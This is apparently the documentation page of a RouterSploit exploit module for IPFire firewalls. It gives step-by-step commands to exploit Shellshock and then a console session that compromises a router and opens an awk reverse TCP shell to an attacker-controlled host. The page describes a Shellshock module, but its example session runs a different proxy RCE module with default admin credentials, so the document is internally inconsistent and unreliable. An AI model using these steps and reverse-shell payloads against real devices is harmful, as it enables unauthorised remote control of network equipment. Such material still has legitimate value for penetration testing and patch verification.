## Description Exploits shellshock vulnerability in IPFire <= 2.15 Core Update 82. If the target is vulnerable it is possible to execute commands on operating system level. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use exploits/routers/ipfire/ipfire_shellshock` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If router is vulnerable, it should be possible to execute commands on operating system level. 6. Do: `set payload awk_reverse_tcp` 7. Do: `set lhost [AttackerIP]` 8. Do: `run` 9. Payload is sent to device and executed providing attacker with the command shell. ## Scenarios ``` rsf > use exploits/routers/ipfire/ipfire_proxy_rce rsf (IPFire Proxy RCE) > set target 192.168.2.88 [+] target => 192.168.2.88 rsf (IPFire Proxy RCE) > show options Target options: Name Current settings Description ---- ---------------- ----------- ssl true SSL enabled: true/false target 192.168.2.88 Target IPv4 or IPv6 address port 444 Target HTTP port Module options: Name Current settings Description ---- ---------------- ----------- verbosity true Verbosity enabled: true/false username admin Username to log in with password admin Password to log in with rsf (IPFire Proxy RCE) > run [*] Running module... [+] Target is vulnerable [*] Invoking command loop... [+] Welcome to cmd. Commands are sent to the target via the execute method. [*] For further exploitation use 'show payloads' and 'set payload <payload>' commands. cmd > uname -a [*] Executing 'uname -a' on the device... Linux ipfire 3.10.44-ipfire #1 SMP Tue Sep 9 18:11:30 GMT 2014 i686 i686 i386 GNU/Linux cmd > show payloads [*] Available payloads: Payload Name Description ------- ---- ----------- awk_bind_udp Awk Bind UDP Creates an interactive udp bind shell by using (g)awk. awk_bind_tcp Awk Bind TCP Creates an interactive tcp bind shell by using (g)awk. awk_reverse_tcp Awk Reverse TCP Creates an interactive tcp reverse shell by using (g)awk. cmd > set payload awk_reverse_tcp cmd (Awk Reverse TCP) > show options Payload Options: Name Current settings Description ---- ---------------- ----------- lhost Connect-back IP address lport 5555 Connect-back TCP Port encoder Encoder cmd awk Awk binary cmd (Awk Reverse TCP) > set lhost 192.168.2.100 lhost => 192.168.2.100 cmd (Awk Reverse TCP) > run [*] Executing payload on the device [*] Waiting for reverse shell... [*] Connection from 192.168.2.88:48775 [+] Enjoy your shell id uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody) ```